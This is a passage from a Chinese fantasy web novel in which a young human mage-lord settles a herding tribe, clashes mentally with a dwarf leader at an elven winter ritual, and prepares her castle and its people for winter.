几个【藤蔓翻滚】【画地为牢】丢下去，两米深的巨坑都能挖出来！ 领主可不是白当的，该付出的时候就得付出，不能按着居民往死里压榨。 只有将各自的优势利用到极致，才能实现双方利益最大化。 阿茜：“……” 啊，我竟然胆敢有如此肮脏卑劣的想法，我有罪！ 云漠多少能理解一点阿茜的心情。 原来再怎么艰难，也是自己当家作主，无拘无束。 现在虽然接受了她的庇护，生命安全确实得到保障，可也失去了权力，难免有落差。 况且“阿索城”这三个字背后充斥着满是血腥味的黑历史，双方了解并不算深，却突然在短时间内实现融合，说不担心，鬼都不信。 胡萝卜加大棒，之前的云漠已经展示过大棒，那么现在要做的就是给出安抚意味的“胡萝卜”。 “等这边的事情结束，我会和你们一起返回阿索城，并亲自为你们加固房屋。” 云漠清晰地看到了阿茜的变化：她的眼中多出了一丝真正的感激。 几十年下来，养牛人部落已经养成“逐水草而居”“避野兽而居”的生活习惯，住帐篷。 但那种帐篷无论稳固性、保暖性还是安全性，都很差，更无法对抗城堡附近格外凛冽的寒风。 阿茜对此一直很担忧。 盖房子是一门极其精巧的技术，养牛人部落显然并不精通，可如果有木系魔法师的帮忙，困难将不再是困难。 云漠早已想好对策。 想在短时间内建造能安置四十多人和几十头牛的住处并不现实，但植物根系深入地下，就是最好的地基和“钢筋”，如果用魔法【画地为牢】打造帐篷的外骨骼，并用结实的草和泥巴混合涂抹填充，就能立刻得到一层结实又保温的外墙！ 得到承诺的阿茜满意离去，已经老迈的背影瞧着都挺拔多了。 傍晚银星到来时，树屋下的大陶罐里正咕嘟嘟煮着骨汤，白色水汽呼哧呼哧从盖子缝隙中喷射出来，浓郁的香气飘散四方。 而云漠正忙里偷闲，跟霍莉制作面条。 原本想做拉面，奈何面粉拉力不够，一拽就断，只好改成手擀面。 天气转凉，食物的储藏期延长，她们一口气做了很多，挂起来晾干。 等什么时候想吃了，直接下锅就好，很方便。 骨汤打底，加入大量大角牛肉末和豆泥，搅拌得黏黏糊糊，微烫，几口下去，热力游走，通体舒泰。 银星是代替呼尔雅来邀请云漠去观看矮人族激发冬日魔法阵的。 “哎，这么早？”云漠一怔，“去哪里看？” 集市贸易尚未结束，而且小伙伴海鹰难得来一趟，云漠今天还想去找她玩呢。 银星对人类弟子的小心思一清二楚，倒也欣慰她能在百忙之中主动抽出时间玩耍，“矮人族已于昨日抵达，最迟四天就能完成与精灵族的交易，届时纳林霜也将启程前往会合……” 接头地点离这边并不远，以现在云漠的赶路方式和速度来看，大约两天就能到。 所以她还有两天可以支配。 不过这一来一回最少四天，如果中间再因种种原因停留，很可能不等她回来，集市就结束了。 好在霍莉已经是很成熟的商人了，各族代表也都认识她，完全能够独立完成任务。 离开集市之前，云漠特意找到海鹰，给了她一张下次贸易的订货单。 除了食盐和之前说过的那些干货之外，她还想跟海螺部落的族长交换一些水系魔法材料。 这里有激荡的冷水河和飘着白雪的漫长冬季，但什么都比不过广阔的海洋，那里才是真正孕育顶级水系魔法材料的宝库。 得知她马上要走，海鹰流露出几分不舍，紧紧抓着她的手说：“这么快吗？我们还想好好谢谢你呢。” 上次云漠传授的几种美食烹饪方法早已在海螺部落内部广泛流传，尤其是制作简单的蛋羹，因成本低廉、口感细腻柔滑，备受欢迎。 现在海螺部落成员们的餐桌上，几乎天天都能看见各种海鸟、海龟甚至是海蛇蒸蛋…… 云漠给了海鹰一个拥抱，又送给她几罐甜蜜的果酱，“明年我们还会再见的。” “啊，首领也曾这么说。”海鹰突然惊讶地笑了下，表示理解之余，黑红的脸上显出几分惆怅，“可是明年再也不是今年了呀。” 哪怕以后还能见面，可现在我心里没说完的话，没来得及传递的热烈的欢喜，都将不复存在。 多么可惜呀！ 云漠立刻被这句充满哲学意味的话震撼了，旋即猛然意识到，随着魔法的精进，她似乎确实在逐步丧失人性。 并不是说云漠开始变得冷酷无情，没有人味儿，而是她终于明白了精灵们口中“魔法师终将变成魔法生物”的真正含义。 因魔法元素日复一日的淬炼，魔法师们的肉/体会逐渐无限趋近永恒。 就像海鹰口中的部落首领，就像云漠，哪怕她们不刻意炫耀，也会本能地觉得，既然我注定拥有几百年的生命，那么区区几个月又算得了什么呢？ 说得更残酷一点，在生命这方面，云漠已经成为人类中的富翁，她计算时间的最基本单位已经和普通人类有了本质区别。 魔法，多么神奇，又是多么可怕。 第52章 敲打 去观礼的路上，云漠问矮人族长什么样子，如何区分。 银星却笑而不语，笑容中透出几分神秘兮兮的促狭。 云漠也只好暂时将疑惑压在心底，集中精力赶路。 见到矮人族的瞬间，云漠就明白为什么银星之前一直不回答了。 因为没必要。 真的太显眼了，尤其跟修长俊美的精灵族站在一起时，矮人族就像黑夜里的火把，高山间的洼地，如此清晰。 矮人族人如其名，不管男女老少，个头都非常矮，平均身高大约1米5左右。 她们相貌平庸，各个都有一团杂草似的卷发，包括眉毛在内的毛发相当浓密。 她们的身体异常粗壮结实，宽且厚。尤其是一双手臂，胳膊几乎赶得上精灵的腰那么粗。 从远处看去，活像一团团纠结的风滚草。 其中一个中年女性矮人被几个族人簇拥着，如无意外，应该就是此行的头领，矮人族的新生代领袖。 她的脸蛋红红的，头发也红红的，穿着特意染成红色的皮甲，背后背着一柄巨大的铁锤，整个人都像一团随时可能燃烧、爆炸的火。 只是一眼，云漠就觉得这个人的脾气肯定非常火爆。 矮人族给云漠的感觉不仅如此，还有一种肉眼不可见的近乎第六感的魔法反馈。 厌恶，排斥，得意。 这也不意外。 云漠是木系魔法师，火克木，精通火系魔法的矮人族领袖自然是木系魔法师的天敌，避之不及。 但云漠又掌握了一定的水系魔法，水克火，她同时又是矮人族的天敌。 这就很有意思了。 显然对方也有类似的感受，看过来的眼神中都带了点打量，似乎在评估这个人类的斤两。 精灵们并不插手，安静地站在一旁。 气氛忽然微妙起来。 现场虽然只有云漠一个人类，但她出身贵族，又刚在几天前打造了一支成型的势力，成为名副其实的领主，也可视为人族代表，理应得到应有的尊重。 但尊重的前提是对实力的认可，这方面谁也插不上话。 就连一直对云漠关爱有加的银星，也没有开口。 不知是矮人族生性张狂，还是火系魔法师都是如此，这名矮人的精神力波动异常活跃，连带着她周围的温度都比别处高，里里外外透着股跃跃欲试。 其实最近云漠已经开始学习精神力约束，一来可以防止对手窥探、预估自己的实力，二来也是精神力锻炼的一种，类似书法练习中的控笔。 但是现在，面对陌生对手近乎直白的挑衅，云漠久违地解除了约束。 不知哪儿来的默契，在精灵的地盘上，两位异族魔法师出其不意地进行了第一次精神力对抗。 无数精神力触手潮水般倾泻而出，□□撞在一起，又进一步引发了魔法元素共鸣，竟形成了小规模的魔力潮汐！ 精神力撞击的瞬间，云漠的脑仁儿仿佛被人狠狠抡了一锤，霎那间头晕目眩起来。 毫无疑问，这是一种非常简单粗暴，堪称低级浪费的蛮牛式摸底！ 但异常高效。 两股精神力迅速回缩，魔力潮汐瞬间消散。 矮人也没讨到好，毛发下一张大红脸瞬间变成大白脸，血色褪得干干净净。 考虑到双方的年龄差距，结果很耐人寻味。 那名首领模样的矮人率先向云漠颔首示意。 她动作的瞬间，云漠也低下头去。 从旁观者的角度来看，双方几乎是同时向对方表达了善意。 矮人说：“你的魔法造诣已经远远超越了年龄，这非常了不起。” 云漠最欣赏能屈能伸的人，几乎立刻将对她的评价拔高了一节，然后投桃报李，对对方的魔法水平大加夸赞，语气和表情都极尽诚恳。 警报解除，一度陷入凝滞的空气又重新流动起来。 这件事似乎就这么过去了。 但仅限矮人。 银星看向云漠的眼神非常熟悉，熟悉到可怜的人类学徒已经开始皮紧、发毛了。 当初她沉迷于精神力探索而导致昏厥，引发大乱，醒来时就是这种感觉…… 因为无论从哪个角度说，精神力的直接碰撞都有极高的风险，稍有差池就可能伤及魔法师的精神力本源，人就废了。 意识到一场训斥在所难免，云漠缩了缩脖子，很识趣地闭了嘴，乖乖向后退去。 她下意识偷看另一位老师的反应，意外又不那么意外地发现，纳林霜的表情竟很平静，看过来的目光中隐隐带着几分……鼓励？ 此时矮人们已经开始与精灵们交谈。 从整体实力来看，精灵族无疑占据主导地位，现在大家又都站在精灵的地盘上。 但这次是精灵族有求于人，况且矮人族性格冲动易爆又自大，也不肯轻易低头……于是整场对话变得非常有趣： 现场矮人语和精灵语横飞，激射的流矢般刺破空气，谁也不肯主动讲对方的语言，但偏偏又熟悉对方的语言，完全能听懂…… 云漠只听得懂精灵语，见迟迟不进入正题，就小心翼翼地蹭到后方看似无所事事的紫叶身边，低声问：“不是简单的魔法阵激活么？” 怎么听着东拉西扯的，精灵族似乎在谴责矮人的肆意妄为，对精灵族的朋友和客人不够尊重什么的，事后还涉及到什么贸易。 隐隐觉得自己被当成突破口的云漠不免有些担忧，这是我一个外人能听的内容吗？ 该不会被灭口吧？ 紫叶显然对此早已习惯，很有点百无聊赖的样子，几乎立刻就为人类朋友解惑。 据紫叶说，矮人族这趟除了要交换铁、银、煤等各种矿产之外，采购清单上还有许多药剂和部分魔法矿石粉末。 “魔法粉末？”云漠好奇地问，“绘制魔法阵的那种吗？” 可是浩瀚森林内部有专供火系魔法阵的材料吗？ 根据魔法元素聚集定律来看，长期生活在火山附近的矮人族才更容易得到吧？ 大约是她说话的声音有点大，银星还抽空回头丢了个眼神： 一边玩儿去！ 云漠和紫叶对视一眼，见场上暂时没有结束的意思，索性悄悄退出去。 作为巡逻队成员，紫叶这种行为堪称光明正大的翘班，想了下，还是三下两下上了树，占据制高点警戒起来。 云漠也跟着上去，发现这里视野极好，谈判现场尽收眼底。 “并不是，”紫叶坐在树梢上，晃动着长腿，继续刚才的话题，“矮人拥有相当高明的锻造技巧，但有时候技巧也需要一点辅助……” 这里是下风口，可以大声一点说话，精灵的声音听上去更灵动了，仿佛被揉碎在风中的鸟羽。 矮人族在锻造方面有着得天独厚的天赋，但是很多客观条件严重限制了她们的发挥，比如匮乏的矿石原料，以及火焰的温度。 精灵国境内有数座矿石、数条矿脉，但相当一部分并不纯粹，含有大量的伴生矿。 其中一种伴生矿非常特殊。 如果单独拿出来看，它既不美观，也没有延展性，不够硬也不够软，可以说一无是处。 但就是这种貌似一无是处的玩意儿，一旦与某种药剂混合，就能瞬间迸发出白色的火焰。 这种火焰的温度超乎想象，能瞬间把血肉之躯变成灰烬，足以融化一切坚硬的魔法材料。 助燃剂！ 云漠不禁在心中暗叹，精灵掌握了助燃剂，可算是掐住矮人族的命脉了。 “外界一直合理怀疑矮人族和地精有血缘关系，贪婪、龌龊、狡诈……”紫叶幽幽道，“每年这个时候，矮人族总会想方设法压价。” 而精灵族也不是什么冤大头，也总会想尽办法阻止。 这次云漠和矮人新领袖的冲突就是个很好的突破口： 你多大，孩子多大？她不知道精神力冲撞的后果和危险性，你也不懂吗？ 要知道人类可是两位精灵大师的弟子，你在我们的地盘上欺负我家人，怎么也要给个交代吧？ 曾经被戏称为“地精”的云漠一时间心情复杂。 她就知道这些寿命赛王八的生物没那么单纯！ 说话间，矮人和精灵的推拉终于告一段落. 大约双方达成了某种协议，那名矮人族领袖终于开始吟唱。 几乎是瞬间，云漠和紫叶便齐齐皱起眉头。 来自灵魂的本能的不适让包括她们在内的现场所有精灵开始召唤水系魔法元素，对抗空气中疯狂聚拢、波动的火系魔法元素。 狂躁，破坏，暴虐…… 云漠近乎实质地感受到了火系魔法的攻击性。 整个过程其实很短暂，但对同为魔法师的云漠而言，却像几个小时那样漫长。 随着吟唱结束，沉寂已久的魔法阵突然发出阵阵嗡鸣，赤红光芒流水般沿着铭文轨迹狂奔，迅速铺满了整片地面…… 不过短短几息，空气中的寒意褪得一干二净，取而代之的是温暖和干燥。 啊，舒服！ 要是家里也有这么一个就好了，这才是真正的节能环保。 见云漠久久不说话，紫叶高高扬起一边的眉毛，“收起你危险的想法。” 云漠：“……我还没说呢！” 精灵漂亮的绿眸中流露出看透一切的笃定。 “好吧，”云漠无奈道，“我确实在想能不能跟矮人族做一笔交易。你知道的，这里的冬天实在太漫长，太难熬了。” 从地理位置上来说，阿索城近山靠林，冷空气四通八达，而偏偏那座城堡又在制高点，冬天完全就是冰窖！ 要不然她也不会急于跟精灵做煤炭买卖。 换来的煤炭都是有数的，只够城堡用一个冬天。 可现在她刚收拢了一批居民，还有几十头宝贵的家畜…… 第一个冬天格外关键，将直接关系到领袖在居民们心中的真实分量和以后的凝聚力，所以云漠绝不允许减员！ 虽说附近根本不缺柴火，可如果能在城堡内绘制火系魔法阵，哪怕只是最便宜的，只能维持十几天的那种，就能节省许多燃料。 “矮人是世上最奸诈最贪婪的生物，人类的卑劣在她们面前不值一提。”漂亮的精灵口中吐出堪称恶毒的评价，俯视着矮人的眼神毫无感情，“只要流露出一丝渴望，那些小矮子就会像夜魔一样贴上来……她们会利用各种机会，想尽一切办法耍诈，所谓的契约、协议，分量在她们眼中并不比火焰燃烧后的灰烬重多少，直到榨干你的最后一丝价值和财富。” 对强大的对手，她们欺骗；对弱小的对手，她们明抢。 曾有人类委托矮人族锻造珍宝，可到了最后，那珍宝竟成了矮人族的…… 过去几千年的岁月中，不知多少生物都是这样无知无觉的落入了矮人族的陷阱。 “至于魔法阵，”紫叶微微眯起双眼，“在得到纳林霜大师的真正认可之前，我不建议你与矮人族进行任何铭文交易。” 矮人族内部也有铭文大师，专攻欺诈，而偏偏铭文是一门极其精妙的学问，可能几根不起眼的回路调整就攻守转换。 谁知道魔法阵一旦激活，得到的是温暖如春的城堡，还是焚烧一切的石棺呢？ 反正贵金属和高等魔法材料都不可燃，矮人族最喜欢帮忙清理火场啦。 云漠：“……” 很好，她已经原地打消了念头。 难怪呀，难怪只是激发魔法阵这么点小事，现场竟然还有那么多武力充沛的精灵“围观”，连一向深居简出的纳林霜老师都来了。 这是防备矮人族趁机动手脚呢！ 烧柴吧，烧柴就挺好的！ 办完正事后，那名跟云漠切磋过的矮人似乎还想过来跟云漠寒暄，但马上就被精灵们礼貌又坚决地请走。 银星和纳林霜留下了。 前者当场把云漠训斥一通，严令她以后不许随便进行精神力对抗，“你不会想知道精神核心受损的下场的。” 没有任何一个魔法师能承受那种从“无所不能”“近神”的云端坠落的巨大落差。 这个弟子什么都好，韧性高，天赋好，唯独一点，喜欢冒险，经常让银星有种失控的无奈。 “你太紧张了，这没什么大不了的。”纳林霜却对老友这么说，“所有生灵都渴望强大的力量，年轻的魔法师们想要炫耀，想要证明自己，再合理不过了，无需苛责。” 铭文大师的语气非常平静，甚至有点漫不经心的闲适，但云漠却硬生生从里面听出深秋般沉稳又刺骨的凌冽。 果然，下一秒就听铭文大师轻飘飘地丢出一句，“幼崽不正是如此么？狂妄自大，自以为是，盲目自信……” 不等精灵充分展示自己丰富的词汇量，云漠就麻溜儿选择从心，诚恳道：“我错了，以后不敢了。” 纳林霜的意思很明白： 我一直都很讨厌带崽子，之所以没撵你走，就是因为你那份超越年龄的沉稳和自律。 一旦丧失了这种品质，那么我们的师徒缘分就到此为止了。 而只要没有了师徒牵绊，那么外面的崽子怎么作死，跟我又有什么关系呢？ 同一件事，不同的处理方式，将银星和纳林霜截然不同的性格展现得淋漓尽致。 银星性情宽厚，包容性极强，轻易不会舍弃情谊。 但纳林霜不同。 这位声名在外的铭文大师是真的天性冷漠，容忍力相当有限，一旦发现对方不再符合自己的预期，就会果断放弃。 事实说明，刚柔并济有奇效，不仅云漠瞬间乖巧，就连一贯跳脱的紫叶也跟着稳重了好几天。 云漠这次出来不能久留，抽空去六角藏书室抄了点笔记之后就匆匆离去。 回到集市时，贸易已至尾声，大部分参与者都已离去。 据霍莉说，海螺部落两天前就走了，“海边风雪大，她们说不赶紧走的话可能会遇到雪灾。” 临走前，海鹰还来过一趟，见云漠未归，难掩失落的走了。 第53章 建设 虽然之前就预料到这种情况，但没能跟小伙伴道别，云漠还是有点遗憾。 矮人和精灵的贸易尚未结束，纳林霜暂时不能赶回来上课，倒是让云漠得了几天假期，正好回领地安排新加入的成员们。 天气越来越冷，别的不说，屋子一定要尽快收拾起来。 前任养牛人首领阿茜已经跟族人们简单交接过，派几人先回去传达消息、收拾行李，估计现在都开始往阿索城那边迁移了。 霍莉和阿茜等人分别赶着几辆大车，车上装满换来的兽皮、粮食和肉干、布料、针线等物，根本走不快，云漠也没有再利用魔法藤蔓赶路，而是跟她们一起坐车，这才发现曾经杂草丛生的荒地里，竟也隐隐有了路。 十一月中旬已经很冷了，迎面吹来的风都是硬的，像小刀子往脸上戳，没一会儿都麻了。 往年每到这个时候，阿茜都会开启忧愁模式，担心族人们能否应对凛冬。 但今年……她抬头看着前面的车子，心头火热。 有木系魔法师的庇护，我们一定能好好活下去！ 但木系魔法师本人现在却不太好。 木轮车没有缓冲，天气又冷，地面冻得硬邦邦的，都快把人的心肝脾肺颠出来了。 已经很久不坐车的云漠怀疑自己的脑浆都要被搅匀了，当场下定决心，开春后就修路！ 不光从城堡到集市，城堡和甜品屋之间的林子里也要修！ 要致富，先修路！ 不先修好路，普通人的活动半径都被限制死了，谈什么贸易！ 抬头能看到城堡高高的塔尖时，霍莉就用力吹响牛角。 很快，塔楼顶端燃起火光，低沉的钟声响了三声，表示一切正常。 玛雅姨妈则带人在门口迎接，马车刚停稳，霍莉便组织人开始搬运。 云漠问候了玛雅姨妈，讲了养牛人的事，又指着城堡东侧大约五百米的空地说：“我准备在那里建一排房子，明年开荒。” 之前四名养牛人就住在那里，这个距离既能保证足够的掌控力，又不会影响彼此的生活。 如果后期真的遭遇外敌入侵，也能在第一时间组织攻防战和撤退。 “可是我们没有那么多农具。”玛雅姨妈说。 这座城堡之前就是个瞭望塔，完全不具备农耕职能，现在她们用的几样农具，还是当初的看守人闲来无事种花、割草用的。 简单的一亩地、小菜园倒是可以修修补补将就，可如果真的要扩大到几十亩、上百亩…… “之前我去了一趟精灵王国，见到了矮人族，抽空跟她们谈了一笔交易，”云漠说，“半个月之内，她们就会将农具送到南面支流的甜品屋。” 农具只需要用到最基础的铁矿石，也不需要任何附魔和额外锻打，制作起来很简单。 相应的，利润也不高。 所以云漠跟矮人谈这笔买卖时，对方就非常热情地推荐附魔道具，“自动清洁、永久锋利，只需要一个金币！同为魔法师的你一定明白魔法道具的珍贵吧？” 被当成冤大头的云漠：“……” 我疯了吗？ 用一枚金币买套农具？！ 话说我来这里快一年了，还没见过金币长什么样儿呢！ 而且你只知道我是魔法师，不知道我也略通铭文吧？！ 什么大师级作品啊，你就敢狮子大开口，要我一个金币！ 见云漠没反应，矮人还不死心，“或者等值的银币、宝石、魔法材料也可以，我们接受借贷，现场签订契约，由可靠的地精朋友作保。” 地精，除矮人之外，另一种臭名昭著的奇特生物，知名行脚商人团体，专门游走在各种族之间从事各种匪夷所思的贸易。 地精非常热衷于卖假货、以次充好……如果你不懂行，就等着被坑吧！ 但如果你懂行，地精就会摇身一变，成为最可爱的交易伙伴，因为无论你想找的货物多么稀有、刁钻，它们总能找到一点蛛丝马迹。 当然，劳务费也贵得惊人。 云漠从鼻腔中发出一声空洞的“哈”。 你们还真是臭味相投啊！ 地精最令人不齿的点不是宰客，而是追债。 只要你签订了契约，无论是否自愿，从契约魔法生效那一刻起，地精们便会上天入地追债，不能如期偿还的，就会沦为地精们的食物。 是的，它们吃人。 于是云漠当场就拒绝了矮人的提议，并相当坚决的表示，如果再啰嗦就不买了。 她宁肯带领一群人用手拔草、用牙齿收割，也绝不会跟矮人和地精赊账！ 结束回忆的云漠打了个哆嗦，觉得有点恶心，龇牙咧嘴地收回思绪。 “人畜增多，篱笆也要扩大、加固一下，用泥巴混合杂草涂抹，中间夹石块或烧制的土坯。”她对玛雅姨妈说。 被誉为“白色死神”的大雪随时可能到来，万物凋零，动物们没有食物来源，为了生存，极有可能冒险深入人类驻地觅食。 之前这里没人也就算了，可现在她们来了，或许在某些魔兽眼中，这里就是散发着热气的可口肉罐头。 简单估算了一下工作量，玛雅姨妈顿时严肃起来，“这可不是什么简单活儿。” 如果只有她们五个人，直接缩在石头城堡里就行，可现在足足有四五十人，就必须建起成规模的防御体系。 阿索城终于又要变成人类城池的样子了。 “最晚后天那些人就会到，”云漠充满希望地说，“成年壮劳力有近30人，还有几十头牛，抓紧点儿，肯定能赶在第一场雪到来前完工。” 一听有这么多帮手，玛雅姨妈也跟着高兴，“那就好。” “另外，我还打算绘制几个攻击型魔法阵……”云漠点了几个有明显野兽活动痕迹的位置，“需要你们帮我收集一点材料。” 如果来的只是普通人类和野猪、狼之类的动物倒没什么，只怕有魔法生物。 云漠就曾遭遇到的红头鸟、电球鱼，石斧等人也时常面对野蜂，都有一定的魔法天赋。 按照这个比例估算，浩瀚森林和无尽黑山中一定有为数不少的魔法生物，真发起狠来，它们的实力足可秒杀普通人类。 【画地为牢】【荆棘突刺】都可以作为攻击手段，又能示警，而且只需要几种植物的汁液就好，成本非常低廉。 晚上，玛雅姨妈亲自烤了白面包，做了奶油蘑菇浓汤，煮了兔肉，还用秋天晒的蔬菜干做了大杂烩，非常丰盛。 奶油蘑菇浓汤异常鲜美，一碗下肚，云漠胃口大开，先用黄油抹了几片白面包吃，又挖兔肉和蔬菜杂烩。 壁炉里烧得正旺，热乎乎的食物下肚，云漠的额头都吃出汗来。 饭后，大显身手的玛雅姨妈还端出一盘金灿灿的栗子挞。 混合了大量油脂的挞皮厚重扎实，酥得掉渣，里面浅黄棕色的的栗子肉细腻浓郁，香甜极了！ 云漠本来觉得自己吃饱了，但闻到这个味道，一不留神又吃了两大块！ “这栗子真甜真糯，”她赞不绝口，“用来炖鸡肯定也很不错。” 玛雅姨妈就大声夸赞起小河来，“这可都是她捡的。” 小河年纪小，大家都不让她做重活儿，小家伙有空就去附近林子里、草地上晃悠，各种蘑菇、野菜、坚果的，看见了就往篮子里丢，每天都能带回来好多。 云漠也狠狠夸了小河一遍，把小姑娘兴奋得不行，脸蛋通红，双眼发亮，恨不得立刻就提着篮子跑出去，再捡点什么回来。 第二天上午，养牛人搬家大队就到了。 玛雅姨妈立刻带着大河进一步统计了人数、牲口数量，上报给云漠，并根据各自的亲缘关系建立户籍册子，标注好年龄、特长甚至是健康状况等。 云漠马上用魔法【画地为牢】建造起房屋外骨骼，又指导她们趁着土地彻底冻透之前做泥墙、烧土坯。 见部分牲口有点瘦，云漠又让阿茜去找霍莉要棕糖，“给它们吃点好的。” 低温会成倍消耗能量，包括人类在内的所有生物都会努力积蓄脂肪抵御严寒，高热量的糖水能在短时间内迅速补充牲畜缺少的养分，为它们挂上一层肥膘。 这不仅有利于动物的健康，也能大大延长奶牛的泌乳期。 糖水！ 别说牲畜，就连养牛人自己一年到头都不怎么见甜味儿！ 多少有点嫉妒。 但真正的养殖人都是最疼爱牲畜的，云漠的这种行为也彰显了诚意和实力，许多原本还有些不安的养牛人，突然就觉得无比安心。 没了后顾之忧的新伙伴们干劲十足，大冷天的硬是干出一身大汗，外套都穿不住了。 五天后，估摸着精灵那边的事情也该忙完了，云漠再次回到灰杉托尼的树屋里，继续铭文学习。 精灵族的“集中供暖”似乎是严冬到来的信号，云漠刚回来，气温就开始暴跌。 地上的银霜直到中午才开始消散。 她抽空让托尼汇总了附近植物们的健康状况，多余的枝条该修剪就修剪，营养不够的赶紧补一补，都预备好过冬。 小猴子蒲公英也来了一趟，缩着脖子冻得够呛，还给云漠带了两个大松果。 云漠摸了摸瑟瑟发抖的猴头，招呼它进来一起烤火，“要跟我回去吗？” 小猴子学着她的样子，伸出两只毛绒绒的手烘烤着，双眼微眯，毛脸上显出几分惬意。 但烤完火之后，蒲公英还是离开了。 亲近人类是一回事，彻底离开族群与许多人类长期生活在一起，又是另一回事。 跟托尼汇合的第四天，下雪了。 好大的雪。 云漠半夜就被呼啸的风声惊醒，微微推开一条窗缝，就见外面铺天盖地都是鹅毛。 有几片打折卷而落到她脸上，冻得她直缩脖子。 灰杉抗冻，这点雪对托尼来说反而很畅快，整个后半夜，云漠脑海中都回荡着托尼近乎魔性的欢呼： “雪雪雪！舒服舒服舒服！” 这天去上铭文课时，纳林霜盯着满头白雪的云漠看了好一会儿，当天傍晚就放了寒假。 当然，还有海量作业。 “草变绿之后再来找我吧。” 面对突如其来的漫长假期，卷了将近一年的云漠忽然有点不适应。 这寒假可有两个多月呀！ “老师，冬天您会回到森林里去吗？” 这边确实太荒凉了，“集中供暖”几乎照顾不到。 “不。”纳林霜摇头。 多年来离群索居的习惯让纳林霜根本无法忍受长时间的喧闹，且不说守护魔法大阵的职责，各种魔法道具也足够纳林霜度过漫漫寒冬。 云漠脑海中立刻浮现出一幅画面： 空巢老精裹着毛毯，抱着冒热气的茶杯守着篝火，窗外寒风呼啸，大雪纷飞…… “你在想什么恶心的东西？” “啊没什么！” 第54章 金色 云漠赶紧晃晃脑袋，试图把那副诡异的画面从脑海中丢出去。 “如果天气好的话，我还能来向您请教吗？” 作业可真不少。 除了基础的构建铭文之外，还有“掌握三个新木系魔法”“绘制两个水系魔法阵”“制作精神力恢复药剂或外伤治愈药剂中的任意一种”“尝试与风系魔法元素建立联系”“尝试使用冰系魔法”。 最后两门作业涉及到跨界，允许失败，但必须有失败总结论文。 难度都不小。 尤其是药剂制作，云漠只见纳林霜操作了三次，只有三次！ 这就让我上手了？ 纳林霜瞥了她一眼，没有拒绝。 没拒绝就是答应了！ 云漠懂。 人类弟子离开之后，纳林霜的树屋内忽然安静下来。 伴着噼啪燃烧的篝火和呼啸的寒风，精灵再次沉浸在永无止境的铭文海洋之中。 不知过了多久，精灵忽然觉得有些渴，抬手摸向茶杯，轻飘飘的。 空荡荡的茶杯里，只在底部残存着几滴凉透的汁液。 正常情况下，人类弟子绝不会允许这种事情发生。 纳林霜突然想起对方已经放了假，离开了。 没人煮茶。 没人添柴。 壁炉内柴火已经全都变成罩着白灰的通透的红色，火苗也有些微弱，随时可能熄灭。 纳林霜愣了下，终于意识到，屋子里有些安静地过分了。 习惯真是可怕的东西，精灵想。 纳林霜在原地坐了几秒钟，然后慢吞吞地站起身，稍显生疏地烧水、煮茶，再顺手往壁炉里丢几根木柴。 柴火将火堆砸得火星四射，漂亮的火堆晃了几下，轰然坍塌。 火舌扭动几下，顺着崭新的燃料蔓延，火堆重新壮大起来。 不一会儿，茶壶中的水翻滚起来，壶嘴和壶盖缝隙中尖叫着喷出水汽。 纳林霜给自己倒了一杯茶。 不知是不是错觉，有点难喝。 难喝的茶水诡异的激活精灵的味蕾，纳林霜记得人类走之前说了什么，哦，她给自己提前做了不少馅儿饼。 纳林霜来到厨房，果然在窗外发现了用藤蔓罩着的大包裹。 现在天气冷，白天都冻得硬邦邦的，多放几天也不会坏掉。 云漠甚至还提前在沙漏上划了一条线，当漏下来的沙子堆积到这个位置就能吃了。 烤熟的馅儿饼外皮金黄酥脆，还有不少油脂从面皮薄的地方渗出来，变成柔韧的“肉锅巴”，口感很出色。 隔绝了大雪的窗边，纳林霜慢慢享用着晚餐。 纳林霜享受孤独，不过偶尔也会觉得，这样细致的关心还不错…… 关心本人第二天一早就告别托尼，回到城堡里去了。 得知她能在家里待两个月，大家都跟找到主心骨似的，高兴坏了。 昨天矮人就把订的农具送来了，锄头、镰刀、铁锨各二十副，另有若干菜刀、铁锅、烧烤用的铁架子和铁板。 不过农具都只有铁头，木质把杆需要自配，锅铲、勺子什么的也要用木头做。 云漠检查了下，发现品质都很不错。 就是前去贸易的霍莉忍不住说：“来的几个矮人怪怪的，总说这样的农具容易坏，极力推荐什么魔法道具……” 云漠失笑，还真是她们的作风。 “听听就算了。” 土木混合结构的围墙搭建工作已进入尾声，不再需要那么多人手，玛雅姨妈根据新居民们的特长分成几个组，分别安排了缝纫、收集柴火、采集坚果的活儿。 新居民的衣服都很破旧了，大部分手脚、耳朵上还有冻疮，现在刚入冬呢，就开始红肿开裂了。 玛雅姨妈整理了需求量，自己在仓库清单上登记，拿了许多兔皮给她们做冬装。 又去药材储藏室拿了些药材回来，交给阿茜，让她自己带人煮水，每天充分浸泡后再涂抹药膏。 冻疮放任不管的话会出大问题的，不仅影响工作，还可能为了保命被迫截肢…… 几名新居民顿时感动落泪，尤其几个之前就被迫砍断自己的手指、脚趾的，当场就呜呜哭起来。 多么善良的人啊！ 缝纫组多是腿脚不便、体力差的老弱，之前一直担心来到新领地后，会因无用而被抛弃，现在领了活儿，顿时容光焕发，飞针走线麻利极了！ 而采集坚果的队伍则由小河带领。 这个小姑娘脑子里仿佛安装了食物雷达，总能在第一时间找到最好最多的坚果，就在今天，她又发现了一棵挂满松球的大树！ 霍莉还特意为小河制作了一枚木头徽章，说这是小队长的标识。 小河喜欢得不得了，每天都擦拭得干干净净，出门前一脸郑重地戴上，回家后小心翼翼地摘下来，用手绢包好，以备下次使用。 玛雅姨妈将领地打理得井井有条，大河跟着出出进进，也长进不少，人都自信了。 “不过人一多，我们需要处理的事情也跟着多起来，”玛雅姨妈叹了口气，“可能没办法像以前那样做那么多活儿了。” 对外贸易还要继续，可现在玛雅姨妈、霍莉，甚至是大小河姐妹俩都成了名副其实的管理层，除了小河，其余三人真正能用来干活的时间很少很少。 玛雅姨妈的意思是，可以从新居民中挑选几个老实忠心、手脚勤快的年轻人，以后专门从事棕糖和甜品制作。 云漠也是这样想的，不然何必拉这么多人回来呢？她又不是闲得没事做。 次日一早，玛雅姨妈便召集所有居民，由领主大人亲口宣布了这个消息。 因为工作性质特殊，入选成功后，每名成员每个月还能额外得到几勺棕糖、几块点心做福利。 人群顿时沸腾了。 “甜品制作？！棕糖？！那种秘技也是我们可以学习的吗？” “额外福利？老天，那岂不是不用纳税？” 一位四十多岁的母亲忍不住哀求道：“只要年轻人吗？曾经部落里的大部分饭都是我做的，我对这个活儿非常拿手！” 玛雅姨妈的目光在人群中扫视一圈，发现无人反对，就知道她说的是真的，便以眼神询问云漠。 云漠笑着说：“这份活计可不轻快，几乎要从早站到晚，还要揉面皮、搬运沉重的食材等等。” 在这个时空和时代背景，普通人类的寿命并不长，60随就算高龄了，所以要年轻人的本意是能干重活儿。 